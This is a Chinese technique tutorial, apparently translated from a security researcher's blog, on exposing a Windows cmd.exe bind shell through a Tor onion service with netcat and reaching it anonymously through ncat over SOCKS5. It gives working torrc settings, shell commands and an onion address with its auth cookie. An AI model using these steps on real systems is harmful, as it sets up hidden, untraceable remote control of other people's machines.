在这篇文章中,我将跟大家分享我的一个小发现,即如何在Windows平台中通过Tor Onion服务来开启远程Shell 。接下来,话不多说,我们直奔主题。
操作方法
首先,我们要在一个Windows Tor客户端中创建一个Tor onion服务(即隐藏服务)。我下载了Tor Expert bundle(同样适用于Tor浏览器)-【下载地址】。
然后使用下列命令创建Tor配置文件torrc:
HiddenServiceDir C:\demo\Tor\service
HiddenServicePort 8662 127.0.0.1:12345
开启Tor服务之后,将会自动创建目录C:\demo\Tor\Service,并填充一系列必要的文件(<主机名>文件夹包含了这个Toronion服务的.onion地址)。
该onion服务将监听端口8662,而流量将会直接转发到127.0.0.1(端口12345)。
这里我们还可以给服务开启客户端验证功能,因为如果不开启这个功能的话,任何知道这个.onion地址和端口号的人都可以进行连接。最基础的客户端验证使用了共享密钥,你可以使用下列命令进行配置(torrc):
HiddenServiceAuthorizeClient basic testuser
这里我选择使用testuser作为客户端名称:
接下来,我们可以使用配置文件torrc来开启Tor:
tor.exe -f torrc
.onion地址以及客户端验证cookie可以在service目录的<主机名>文件夹中找到:
nybjuivgocveiyeq.onion Wa5kOshPqZF4tFynr4ug1g # client: testuser
当然了,你一定要保护认证cookie密钥的安全。
现在,用nc.exe在目标Windows设备上开启服务(我几年前就在电脑上下载了nc.exe,我不记得原始的URL地址了,我使用的版本是v1.11,MD5为ab41b1e2db77cebd9e2779110ee3915d):
nc -e cmd.exe -L -s 127.0.0.1 -p 12345
Tor ExpertBundle以及nc.exe不需要任何其他的依赖组件(跟DLL类似),因此任意用户都可以直接运行。
现在我们的目标主机已经配置好了,在另一台设备上,我需要使用包含了认证cookie的配置文件来开启Tor服务:
HidServAuth nybjuivgocveiyeq.onion Wa5kOshPqZF4tFynr4ug1g
接下来,我们需要运行ncat,因为ncat.exe支持socks5代理(nc.exe不支持):
ncat.exe --proxy 127.0.0.1:9050 --proxy-type socks5 nybjuivgocveiyeq.onion 8662
接下来,我们就得到远程Shell啦!
提醒大家一下,这种方法不适用于ncat v 7.60版本,具体原因请参考【这里】:
ibnsock select_loop(): nsock_loop error 10038: An operation was attempted on somethingthat is not a socket.
* 参考来源:didierstevens,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM